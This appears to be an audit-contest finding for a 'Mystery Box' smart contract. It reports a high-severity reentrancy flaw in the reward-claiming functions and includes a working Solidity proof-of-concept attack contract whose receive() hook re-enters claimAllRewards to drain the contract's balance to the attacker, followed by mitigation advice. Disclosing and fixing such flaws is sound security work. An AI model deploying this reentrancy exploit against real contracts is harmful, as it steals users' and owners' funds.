Mystery Box
First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy Attack is possible in Claim rewards

hawksvision

Summary

In both the claimall and claimsingle functions the user will be able to do a reentrancy attack there by draining all the funds of the contract. This could have been prevented by using something like a reentrancy gaurd or making the state change before making the transaction call.

Vulnerability Details

POC

//This function will trigger the attack contract
function testReentrancy() public{
attackMbox.attack{value: 0.1 ether}();
assertEq(address(mysteryBox).balance, 0);
}
​
​
//This is the the contract deployed for attacking
​
pragma solidity ^0.8.0;
​
//creating the interface for mystery box contract
interface IMysteryBox{
function buyBox() external payable ;
function claimAllRewards() external;
function openBox() external;
}
​
contract AttackMbox {
IMysteryBox box ;
address payable attacker ;
​
//intializing the mystery box
constructor(address _box) payable {
box = IMysteryBox(_box) ;
attacker = payable(msg.sender) ;
}
​
//Starting the attack by buying, opening and claiming the rewards
function attack() public payable {
box.buyBox{value: msg.value}();
box.openBox();
box.claimAllRewards();
}
​
receive() external payable {
if(address(box).balance >= 0.1 ether){
box.claimAllRewards();
}
else
{
(bool sent,) = attacker.call{value: address(this).balance}("");
require(sent, "Transfer Failed!!!");
}
​
}
}

Impact

Reentracy attack can be used to drain all the funds of the mystry box contract which in turn will affect all the users and the owner of the contract.

Tools Used

=> manual review.

=> foundry

Recommendations

This can be prevented by using the reentrancy gaurd in the contract or making the state change before executing the transaction call.

Updates

Lead Judging Commences

inallhonesty Lead Judge
about 1 year ago

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

`claimAllRewards` reentrancy

`claimSingleReward` reentrancy

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!